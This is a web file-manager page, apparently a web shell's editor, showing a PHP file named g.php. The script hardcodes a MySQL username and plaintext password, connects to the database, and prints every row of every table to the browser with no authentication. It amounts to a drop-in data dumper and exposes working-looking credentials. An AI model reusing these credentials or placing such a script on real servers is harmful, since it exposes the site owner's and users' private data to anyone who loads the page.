File Manager
Editing: g.php
<?php // DB CONFIG $host = "127.0.0.1:3306"; $user = "u404542307_dacotywebsites"; $pass = "daCotywebs1te5"; $db = "u404542307_eizon"; // change this $conn = new mysqli($host, $user, $pass, $db); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "<h2>Database: $db</h2>"; // Get all tables $tablesResult = $conn->query("SHOW TABLES"); if (!$tablesResult) { die("Error fetching tables"); } while ($tableRow = $tablesResult->fetch_array()) { $table = $tableRow[0]; echo "<h3>📁 Table: $table</h3>"; // Fetch all data $dataResult = $conn->query("SELECT * FROM `$table`"); if (!$dataResult) { echo "Error reading table<br>"; continue; } if ($dataResult->num_rows === 0) { echo "No data<br>"; continue; } echo "<table border='1' cellpadding='5' cellspacing='0'>"; // Column headers echo "<tr>"; while ($field = $dataResult->fetch_field()) { echo "<th>{$field->name}</th>"; } echo "</tr>"; // Reset pointer (important) $dataResult->data_seek(0); // Rows while ($row = $dataResult->fetch_assoc()) { echo "<tr>"; foreach ($row as $value) { echo "<td>" . htmlspecialchars($value) . "</td>"; } echo "</tr>"; } echo "</table><br>"; } $conn->close(); ?>
💾 Save
⬅ Back